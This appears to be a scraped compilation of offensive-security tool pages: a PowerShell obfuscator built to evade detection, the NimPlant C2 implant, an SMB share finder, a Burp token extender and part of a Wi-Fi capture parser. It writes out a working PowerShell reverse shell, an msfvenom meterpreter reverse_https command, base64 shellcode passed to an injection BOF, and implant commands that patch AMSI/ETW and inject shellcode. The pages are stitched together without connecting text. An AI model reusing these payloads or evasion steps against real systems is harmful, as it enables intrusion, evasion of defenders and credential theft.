Component types such as pipes and pipeline variables are introduced here to help make your payload more obscure and harder to decode.

Supported Types

• Aliases (iex)
• Cmdlets (New-Object)
• Comments (# and <# #>)
• Integers (4444)
• Methods ($client.GetStream())
• Namespace Classes (System.Net.Sockets.TCPClient)
• Pipes (|)
• Pipeline Variables ($_)
• Strings ("value" | 'value')
• Variables ($client)

Generators

Each component has its own dedicated generator that contains a list of possible static or dynamically generated values that are randomly selected during each execution. If there are multiple instances of a component, then it will iterative each of them individually with a generator. This adds a degree of randomness each time you run this tool against a given payload so each iteration will be different. The only exception to this is variable names.

If an algorithm related to a specific component starts to cause a payload to flag, the current design allows us to easily modify the logic for that generator without compromising the entire script.

$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Requirements

This framework and resulting payloads have been tested on the following operating system and PowerShell versions. The resulting reverse shells will not work on PowerShell v2.0

Usage Examples

CVE-2021-34527 (PrintNightmare)

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR<   br/>[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](16*49/16)+[char](109*50/109)+[char](0+55-0)+[char](20*46/20)+[char](0+48-0)+[char](0+46-0)+[char](0+48-0)+[char](0+46-0)+[char](51*49/51))
    Generator 2 >> PS  >> $([char](1   *80/1)+[char](86+83-86)+[char](0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

Obfuscated PowerShell Reverse Shell

Meterpreter PowerShell Shellcode

┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
        >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

Comment-Based Help

<#
    .SYNOPSIS
        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.

    .DESCRIPTION
        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, 
        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation 
        focuses on replacing the existing components of your code, or layer 0, with alternative values. 

    .PARAMETER Path
        A user provided PowerShell payload via a flat file.

    .PARAMETER All
        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive
        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse
        shell. However, it's recommended to target specific components with    more advanced payloads. Keep in mind that some of 
        the generators introduced in this script may even confuse your ISE so be sure to test properly.

    .PARAMETER Aliases
        The aliases switch is used to instruct the function to obfuscate aliases.

    .PARAMETER Cmdlets
        The cmdlets switch is used to instruct the function to obfuscate cmdlets.

    .PARAMETER Comments
        The comments switch is used to instruct the function to remove all comments.

    .PARAMETER Integers
        The integers switch is used to instruct the function to obfuscate integers.

    .PARAMETER Methods
        The methods switch is used to instruct the function to obfuscate method invocations.

    .PARAMETER NamespaceClasses
        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.

    .PARAMETER Pipes
        The pipes switch is used to in   struct the function to obfuscate pipes.

    .PARAMETER PipelineVariables
        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.

    .PARAMETER ShowChanges
        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.

    .PARAMETER Strings
        The strings switch is used to instruct the function to obfuscate prompt strings.

    .PARAMETER Variables
        The variables switch is used to instruct the function to obfuscate variables.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1

    .OUTPUTS
        System.String, System.String

    .NOTES
        Additional information abo   ut the function.
#>

NimPlant - A Light-Weight First-Stage C2 Implant Written In Nim

By Cas van Cooten (@chvancooten), with special thanks to some awesome folks:

• Fabian Mosch (@S3cur3Th1sSh1t) for sharing dynamic invocation implementation in Nim and the Ekko sleep mask function
• snovvcrash (@snovvcrash) for adding the initial version of execute-assembly & self-deleting implant option
• Furkan Göksel (@frkngksl) for his work on NiCOFF and Guillaume Caillé (@OffenseTeacher) for the initial implementation of inline-execute
• Kadir Yamamoto (@yamakadi) for the design work, initial Vue.JS front-end and rusty nimplant, part of an older branch (unmaintained)
• Mauricio Velazco (@mvelazco), Dylan Makowski (@AnubisOnSec), Andy Palmer (@pivotal8ytes), Medicus Riddick (@retsdem22), Spencer Davis (@nixbyte), and Florian Roth (@cyb3rops), for their efforts in testing the pre-release and contributing detections

Feature Overview

• Lightweight and configurable implant written in the Nim programming language
• Pretty web GUI that will make you look cool during all your ops
• Encryption and compression of all traffic by default, obfuscates static strings in implant artefacts
• Support for several implant types, including native binaries (exe/dll), shellcode or self-deleting executables
• Wide selection of commands focused on early-stage operations including local enumeration, file or registry management, and web interactions
• Easy deployment of more advanced functionality or payloads via inline-execute, shinject (using dynamic invocation), or in-thread execute-assembly
• Support for operations on any platform, implant only targeting x64 Windows for now
• Comprehensive logging of all interactions and file operations
• Much, much more, just see below :)

Instructions

Installation

• Install Nim and Python3 on your OS of choice (installation via choosenim is recommended, as apt doesn't always have the latest version).
• Install required packages using the Nimble package manager (cd client; nimble install -d).
• Install requirements.txt from the server folder (pip3 install -r server/requirements.txt).
• If you're on Linux or MacOS, install the mingw toolchain for your platform (brew install mingw-w64 or apt install mingw-w64).

Getting Started

Configuration

Before using NimPlant, create the configuration file config.toml. It is recommended to copy config.toml.example and work from there.

An overview of settings is provided below.

Compilation

Once the configuration is to your liking, you can generate NimPlant binaries to deploy on your target. Currently, NimPlant supports .exe, .dll, and .bin binaries for (self-deleting) executables, libraries, and position-independent shellcode (through sRDI), respectively. To generate, run python NimPlant.py compile followed by your preferred binaries (exe, exe-selfdelete, dll, raw, or all) and, optionally, the implant type (nim, or nim-debug). Files will be written to client/bin/.

You may pass the rotatekey argument to generate and use a new XOR key during compilation.

Notes:

• NimPlant only supports x64 at this time!
• The entrypoint for DLL files is Update, which is triggered by DllMain for all entrypoints. This means you can use e.g. rundll32 .\NimPlant.dll,Update to trigger, or use your LOLBIN of choice to sideload it (may need some modifications in client/NimPlant.nim)

PS C:\NimPlant> python .\NimPlant.py compile all

                  *    *(#    #
                  **  **(##  ##
         ########       (       ********
        ####(###########************,****
           # ########       ******** *
           .###                   ***
           .########         ********
           ####    ###     ***    ****
         ######### ###     *** *********
       #######  ####  ## **  ****  *******
       #####    ##      *      **    *****
       ######  ####   ##***   **** .******
       ###############     ***************
            ##########     **********
               #########**********
                 #######********
     _   _ _           ____  _             _
    | \ | (_)_ __ ___ |  _ \| | __ _ _ __ | |_
    |  \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
    | |\  | | | | | | |  __/| | (_| | | | | |_
    |_| \_|_|_| |_| |_|_|   |_|\__   ,_|_| |_|\__|

        A light-weight stage 1 implant and C2 based on Nim and Python
        By Cas van Cooten (@chvancooten)

Compiling .exe for NimPlant
Compiling self-deleting .exe for NimPlant
Compiling .dll for NimPlant
Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in 'client/bin/'.

Compilation with Docker

The Docker image chvancooten/nimbuild can be used to compile NimPlant binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.

To use it, install Docker for your OS and start the compilation in a container as follows.

docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPlant.py compile all

Usage

Once you have your binaries ready, you can spin up your NimPlant server! No additional configuration is necessary as it reads from the same config.toml file. To launch a server, simply run python NimPlant.py server (with sudo privileges if running on Linux). You can use the console once a Nimplant checks in, or access the web interface at http://localhost:31337 (by default).

Notes:

• If you are running your NimPlant server externally from the machine where binaries are compiled, make sure that both config.toml and .xorkey match. If not, NimPlant will not be able to connect.
• The web frontend or API do not support authentication, so do NOT expose the frontend port to any untrusted networks without a secured reverse proxy!
• If NimPlant cannot connect to a server or loses connection, it will retry 5 times with an exponential backoff time before attempting re-registration. If it fails to register 5 more times (same backoff logic), it will kill itself. The backoff triples the sleep time on each failed attempt. For example, if the sleep time is 10 seconds, it will wait 10, then 30 (3^1 * 10), then 90 (3^2 * 10), then 270 (3^3 * 10), then 810 seconds before giving up (these parameters are hardcoded but can be changed in client/NimPlant.nim).
• Logs are stored in the server/logs directory. Each server instance creates a new log folder, and logs are split per console/nimplant session. Downloads and uploads (including files uploaded via the web GUI) are stored in the server/uploads and server/downloads directories respectively.
• Nimplant and server details are stored in an SQLite database at server/nimplant.db. This data is also used to recover Nimplants after a server restart.
• Logs, uploaded/downloaded files, and the database can be cleaned up by running NimPlant.py with the cleanup flag. Caution: This will purge everything, so make sure to back up what you need first!

PS C:\NimPlant> python .\NimPlant.py server     

                  *    *(#    #
                  **  **(##  ##
         ########       (       ********
        ####(###########************,****
           # ########       ******** *
           .###                   ***
           .########         ********
           ####    ###     ***    ****
         ######### ###     *** *********
       #######  ####  ## **  ****  *******
       #####    ##      *      **    *****
       ######  ####   ##***   **** .******
       ###############     ***************
            ##########     **********
               #########**********
                 #######********
     _   _ _           ____  _             _
    | \ | (_)_ __ ___ |  _ \| | __ _ _ __ | |_
    |  \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
    | |\  | | | | | | |  __/| | (_| | | | | |_
    |_| \_|_|_| |_| |_|_|   |_|\__   ,_|_| |_|\__|

        A light-weight stage 1 implant and C2 written in Nim and Python
        By Cas van Cooten (@chvancooten)

[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337.
[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.

This will start both the C2 API and management web server (in the example above at http://127.0.0.1:31337) and the NimPlant listener (in the example above at https://0.0.0.0:443). Once a NimPlant checks in, you can use both the web interface and the console to send commands to NimPlant.

Available commands are as follows. You can get detailed help for any command by typing help [command]. Certain commands denoted with (GUI) can be configured graphically when using the web interface, this can be done by calling the command without any arguments.

Command arguments shown as [required] <optional>.
Commands with (GUI) can be run without parameters via the web UI.

cancel            Cancel all pending tasks.
cat               [filename] Print a file's contents to the screen.
cd                [directory] Change the working directory.
clear             Clear the screen.
cp                [source] [destination] Copy a file or directory.
curl              [url] Get a webpage remotely and return the results.
download          [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env               Get environment variables.
execute-assembly  (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR.
exit              Exit the server, killing all NimPlants.
getAv             List Antivirus / EDR products on target using    WMI.
getDom            Get the domain the target is joined to.
getLocalAdm       List local administrators on the target using WMI.
getpid            Show process ID of the currently selected NimPlant.
getprocname       Show process name of the currently selected NimPlant.
help              <command> Show this help menu or command-specific help.
hostname          Show hostname of the currently selected NimPlant.
inline-execute    (GUI) [localfilepath] [entrypoint] <arg1 type1 arg2 type2..> Execute Beacon Object Files (BOF) from memory.
ipconfig          List IP address information of the currently selected NimPlant.
kill              Kill the currently selected NimPlant.
list              Show list of active NimPlants.
listall           Show list of all NimPlants.
ls                <path> List files and folders i   n a certain directory. Lists current directory by default.
mkdir             [directory] Create a directory (and its parent directories if required).
mv                [source] [destination] Move a file or directory.
nimplant          Show info about the currently selected NimPlant.
osbuild           Show operating system build information for the currently selected NimPlant.
powershell        <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR.
ps                List running processes on the target. Indicates current process.
pwd               Get the current working directory.
reg               [query|add] [path] <key> <value> Query or modify the registry. New values will be added as REG_SZ.
rm                [file] Remove a file or directory.
run               [binary] <arguments> Run a binary from disk. Returns output but blocks NimPlant while running.
screenshot        Take a screenshot of the user's screen.
select            [id] Select another NimPlant.
shell             [command] Execute a shell command.
shinject          (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation.
sleep             [sleeptime] <jitter%> Change the sleep time of the current NimPlant.
upload            (GUI) [localfilepath] <remotefilepath> Upload a file from the NimPlant server to the victim machine.
wget              [url] <remotefilepath> Download a file to disk remotely.
whoami            Get the user ID that NimPlant is running as.

Using Beacon Object Files (BOFs)

NOTE: BOFs are volatile by nature, and running a faulty BOF or passing wrong arguments or types WILL crash your NimPlant session! Make sure to test BOFs before deploying!

NimPlant supports the in-memory loading of BOFs thanks to the great NiCOFF project. Running a bof requires a local compiled BOF object file (usually called something like bofname.x64.o), an entrypoint (commonly go), and a list of arguments with their respective argument types. Arguments are passed as a space-seperated arg argtype pair.

Argument are given in accordance with the "Zzsib" format, so can be either string (alias: z), wstring (or Z), integer (aliases: int or i), short (s), or binary (bin or b). Binary arguments can be a raw binary string or base64-encoded, the latter is recommended to avoid bad characters.

Some examples of usage (using the magnificent TrustedSec BOFs [1, 2] as an example) are given below. Note that inline-execute (without arguments) can be used to configure the command graphically in the GUI.

# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7   RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

Push Notifications

By default, NimPlant support push notifications via the notify_user() hook defined in server/util/notify.py. By default, it implements a simple Telegram notification which requires the TELEGRAM_CHAT_ID and TELEGRAM_BOT_TOKEN environment variables to be set before it will fire. Of course, the code can be easily extended with one's own push notification functionality. The notify_user() hook is called when a new NimPlant checks in, and receives an object with NimPlant details, which can then be pushed as desired.

Building the frontend

As a normal user, you shouldn't have to modify or re-build the UI that comes with Nimplant. However, if you so desire to make changes, install NodeJS and run an npm install while in the ui directory. Then run ui/build-ui.py. This will take care of pulling the packages, compiling the Next.JS frontend, and placing the files in the right location for the Nimplant server to use them.

A word on production use and OPSEC

NimPlant was developed as a learning project and released to the public for transparency and educational purposes. For a large part, it makes no effort to hide its intentions. Additionally, protections have been put in place to prevent abuse. In other words, do NOT use NimPlant in production engagements as-is without thorough source code review and modifications! Also remember that, as with any C2 framework, the OPSEC fingerprint of running certain commands should be considered before deployment. NimPlant can be compiled without OPSEC-risky commands by setting riskyMode to false in config.toml.

Troubleshooting

There are many reasons why Nimplant may fail to compile or run. If you encounter issues, please try the following (in order):

• Ensure you followed the steps as described in the 'Installation' section above, double check that all dependencies are installed and the versions match
• Ensure you followed the steps as described in the 'Compilation' section above, and that you have used the chvancooten/nimbuild docker container to rule out any dependency issues
• Check the logs in the server/logs directory for any errors
• Try the nim-debug compilation mode to compile with console and debug messages (.exe only) to see if any error messages are returned
• Try compiling from another OS or with another toolchain to see if the same error occurs
• If all of the above fails, submit an issue. Make sure to include the appropriate build information (OS, nim/python versions, dependency versions) and the outcome of the troubleshooting steps above. Incomplete issues may be closed without notice.

FindUncommonShares - A Python Equivalent Of PowerView's Invoke-ShareFinder.ps1 Allowing To Quickly Find Uncommon Shares In Vast Windows Domains

The script FindUncommonShares.py is a Python equivalent of PowerView's Invoke-ShareFinder.ps1 allowing to quickly find uncommon shares in vast Windows Active Directory Domains.

Features

• Only requires a low privileges domain user account.
• Automatically gets the list of all computers from the domain controller's LDAP.
• Ignore the hidden shares (ending with $) with --ignore-hidden-shares.
• Multithreaded connections to discover SMB shares.
• Export results in JSON with IP, name, comment, flags and UNC path with --export-json <file.json>.
• Export results in XLSX with IP, name, comment, flags and UNC path with --export-xlsx <file.xlsx>.
• Export results in SQLITE3 with IP, name, comment, flags and UNC path with --export-sqlite <file.db>.
• Iterate on LDAP result pages to get every computer of the domain, no matter the size.

Usage

$ ./FindUncommonShares.py -h
FindUncommonShares v2.4 - by @podalirius_

usage: FindUncommonShares.py [-h] [--use-ldaps] [-q] [--debug] [-no-colors] [-I] [-t THREADS] [--export-xlsx EXPORT_XLSX] [--export-json EXPORT_JSON] [--export-sqlite EXPORT_SQLITE] --dc-ip ip address [-d DOMAIN] [-u USER]
                             [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] [-k]

Find uncommon SMB shares on remote machines.

optional arguments:
  -h, --help            show this help message and exit
  --use-ldaps           Use LDAPS instead of LDAP
  -q, --quiet           Show no information at all.
  --debug               Debug mode.
  -no-colors            Disables colored output mode
  -I, --ignore-hidden-shares
                        Ignores hidden shares (shares ending with $)
  -t THREADS, --threads THREADS
                        Number of threads (default: 20)

Output fi   les:
  --export-xlsx EXPORT_XLSX
                        Output XLSX file to store the results in.
  --export-json EXPORT_JSON
                        Output JSON file to store the results in.
  --export-sqlite EXPORT_SQLITE
                        Output SQLITE3 file to store the results in.

Authentication & connection:
  --dc-ip ip address    IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
  -d DOMAIN, --domain DOMAIN
                        (FQDN) domain to authenticate to
  -u USER, --user USER  user to authenticate with

Credentials:
  --no-pass             Don't ask for password (useful for -k)
  -p PASSWORD, --password PASSWORD
                        Password to authenticate w   ith
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        NT/LM hashes, format is LMhash:NThash
  --aes-key hex key     AES key to use for Kerberos Authentication (128 or 256 bits)
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line

Examples :

$ ./FindUncommonShares.py -u 'user1' -d 'LAB.local' -p 'P@ssw0rd!' --dc-ip 192.168.2.1
FindUncommonShares v2.3 - by @podalirius_

[>] Extracting all computers ...
[+] Found 2 computers.

[>] Enumerating shares ...
[>] Found 'Users' on 'DC01.LAB.local'
[>] Found 'WeirdShare' on 'DC01.LAB.local' (comment: 'Test comment')
[>] Found 'AnotherShare' on 'PC01.LAB.local'
[>] Found 'Users' on 'PC01.LAB.local
$

Each JSON entry looks like this:

{
    "computer": {
        "fqdn": "DC01.LAB.local",
        "ip": "192.168.1.1"
    },
    "share": {
        "name": "ADMIN$",
        "comment": "Remote Admin",
        "hidden": true,
        "uncpath": "\\\\192.168.1.46\\ADMIN$\\",
        "type": {
            "stype_value": 2147483648,
            "stype_flags": [
                "STYPE_DISKTREE",
                "STYPE_TEMPORARY"
            ]
        }
    }
}

Credits

• Feature suggested in impacket issue #1176 by @CaledoniaProject

Ator - Authentication Token Obtain and Replace Extender

The plugin is created to help automated scanning using Burp in the following scenarios:

1. Access/Refresh token
2. Token replacement in XML,JSON body
3. Token replacement in cookies
   The above can be achieved using complex macro, session rules or Custom Extender in some scenarios. The rules become tricky and do not work in scenarios where the replacement text is either JSON, XML.

Key advantages:

1. We have also achieved in-memory token replacement to avoid duplicate login requests like in both custom extender, macros/session rules.
2. Easy UX to help obtain data (from response) and replace data (in requests) using regex. This helps achieve complex scenarios where response body is JSON, XML and the request text is also JSON, XML, form data etc.
3. Scan speed - the scan speed increases considerably because there are no extra login requests. There is something called the "Trigger Request" which is the error condition (also includes regex) when the login requests are triggered. The error condition can include (response code = 401 and body contains "Unauthorized request")

The inspiration for the plugin is from ExtendedMacro plugin: https://github.com/FrUh/ExtendedMacro

Blogs

1. Authentication Token Obtain and Replace (ATOR) Burp Plugin - Part1 - Single step login sequence and single token extraction
2. Authentication Token Obtain and Replace (ATOR) Burp Plugin - Part2 - Multi step login sequence and multiple extraction

Getting Started

1. Install Java and Maven
2. Clone the repository
3. Run the "mvn clean install" command in cloned repo of where pom.xml is present
4. Take the generated jar with dependencies from the target folder

Prerequisites

1. Make sure java environment is setup in your machine.
2. Confgure the Burp Suite to listen the Proxy traffic
3. Configure the java environment from extender tab of BURP

For usage with test application (Install this testing application (Tiredful application) from https://github.com/payatu/Tiredful-API)

Steps

1. Identify the request which provides the error
2. Identify the Error Pattern (details in section below)
3. Obtain the data from the response using regex (see sample regex values)
4. Replace this data on the request (use same regex as step 3 along with the variable name)

Error Pattern:

Totally there are 4 different ways you can specify the error condition.

1. Status Code: 401, 400
2. Error in Body: give any text from the body content (Example: Access token expired)
3. Error in Header: give any text from header(Example: Unauthorized)
4. Free Form: use this to give multiple condition (st=400 && bd=Access token expired || hd=Unauthorized)

Regex with samples

1. Use Authorization: Bearer \w* to match Authorization: Bearer AXXFFPPNSUSSUSSNSUSN
2. Use Authorization: Bearer ([\w+_-.]*) to match Authorization: Bearer AXX-F+FPPNS.USSUSSNSUSN

Break down into end to end tests

1. Finding the Invalid request:
   • http://HOST:PORT/api/v1/exams/MQ==/ with invalid Bearer token.
2. Identifying Error Pattern:
   • The above request will give you 401, here error condition is Status Code = 401
3. Match regex with request data
   • Authorization: Bearer \w* - this regex will match access token which is passed.
4. Replacement - How to replace
   • Replace the matched text(step 3 regex) with extracted value (Extraction configuration discussed in below, say varibale name is "token")
   • Authorization: Bearer token - extracted token will be replaced.

Usage with test application

Idea : Record the Tiredful application request in BURP, configure the ATOR extender, check whether token is replaced by ATOR.

1. Open the testing application in browser which you configured with BURP
   • Generate a token from http://HOST:PORT/handle-user-token/
   • Send the request http://HOST:PORT/api/v1/exams/MQ==/ by passing Authorization Beaer token(get it from above step)
2. Add the ATOR jar file as a extender in BURP
3. Right Click on the request(/handle-user-token) in Proxy history and send it to Authentication Token Optain and Replace Extender
4. Add the new entry in Extraction configuration by selecting the "access_token" value and give name as "token"(it may be any name) Note: For this application,one request is enough to generate a token.Token can also get generated after multiple requests
5. TRIGGER CONDITION:
   • Macro steps will get executed if the condition is matched.
   • After execution of steps, replace the incoming request by taking values from "Pattern" and "Replacement Area" if specified.
   • For our testing,
     • Error condition is 401(Status Code)
     • Pattern is "Authorization: Bearer \w*" (Specify the regex Pattern how you want to replace with extraction values)
     • Replacement Area is "Authentication: Bearer <NAME which you gave in STEP 4>"
   • Click on "Add" Button.
6. For this example, one replacement is enough to make the incoming request as valid but you can add mutiple replacement for a single condition.
7. Hit the invalid request from Repeater and check the req/res flows in either FLOW/Logger++
   • Invalid Bearer token(http://HOST:PORT/api/v1/exams/MQ==/) from Repeater makes the response as 401.
   • Extender will match this condition and start running the recorded steps, extract the "access_token"
   • Replace the access token(from step ii) in actual response(from Repeater) and makes this invalid request as valid.
   • In the repeater console, you see 200 OK response.
8. Do the Step7 again and check the flow
   • This time extender will not invoke the steps because existing token is valid and so it uses that.

Built With

• SWING - Used to add panel

Contributing

Please read CONTRIBUTING.md for details on our code of conduct, and the process for submitting pull requests to us.

Versioning

v1.0

Authors

• **https://github.com/FrUh/ExtendedMacro ** - Initial work

Authors from Synopsys - Ashwath Reddy (@ka3hk) and Manikandan Rajappan (@rmanikdn)

License

This software is released by Synopsys under the MIT license.

Acknowledgments

• https://github.com/FrUh/ExtendedMacro ExtendedMacro was a great start - we have modified the UI to handle more complex scenarios. We have also fixed bugs and improved speed by replacing tokens in memory.

Demo Video

ATOR v2.0.0:

UI Panel was splitted into 4 different configuration. Check out the code from v2 or use the executable from v2/bin.

1. Error Condition - Find the error condition req/res and add trigger condition [Can be statuscode/text in body content/text in header]. Multiple condition can also be added.
2. Obtain Token: Find all the req/res to get the token. It can be single or multiple request (do replacement accordingly)
3. Error Condition Replacement: Mark the trigger condition and also mark the place on request where replacement needs to taken (map the extraction)
4. Preview: Dry run it before configure for scan.

Wifi_Db - Script To Parse Aircrack-ng Captures To A SQLite Database

Script to parse Aircrack-ng captures into a SQLite database and extract useful information like handshakes (in 22000 hashcat format), MGT identities, interesting relations between APs, clients and it's Probes, WPS information and a global view of all the APs seen.

           _   __  _             _  _     
__      __(_) / _|(_)         __| || |__  
\ \ /\ / /| || |_ | |        / _` || '_ \ 
 \ V  V / | ||  _|| |       | (_| || |_) |
  \_/\_/  |_||_|  |_| _____  \__,_||_.__/ 
                     |_____|          
                               by r4ulcl

Features

• Displays if a network is cloaked (hidden) even if you have the ESSID.
• Shows a detailed table of connected clients and their respective APs.
• Identifies client probes connected to APs, providing insight into potential security risks usin Rogue APs.
• Extracts handshakes for use with hashcat, facilitating password cracking.
• Displays identity information from enterprise networks, including the EAP method used for authentication.
• Generates a summary of each AP group by ESSID and encryption, giving an overview of the security status of nearby networks.
• Provides a WPS info table for each AP, detailing information about the Wi-Fi Protected Setup configuration of the network.
• Logs all instances when a client or AP has been seen with the GPS data and timestamp, enabling location-based analysis.
• Upload files with capture folder or file. This option supports the use of wildcards (*) to select multiple files or folders.
• Docker version in Docker Hub to avoid dependencies.
• Obfuscated mode for demonstrations and conferences.
• Possibility to add static GPS data.

Install

From DockerHub (RECOMMENDED)

docker pull r4ulcl/wifi_db

Manual installation

Debian based systems (Ubuntu, Kali, Parrot, etc.)

Dependencies:

• python3
• python3-pip
• tshark
• hcxtools

sudo apt install tshark
sudo apt install python3 python3-pip

git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make 
sudo make install
cd ..

Installation

git clone https://github.com/r4ulcl/wifi_db
cd wifi_db
pip3 install -r requirements.txt 

Arch

Dependencies:

• python3
• python3-pip
• tshark
• hcxtools

sudo pacman -S wireshark-qt
sudo pacman -S python-pip python

git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make 
sudo make install
cd ..

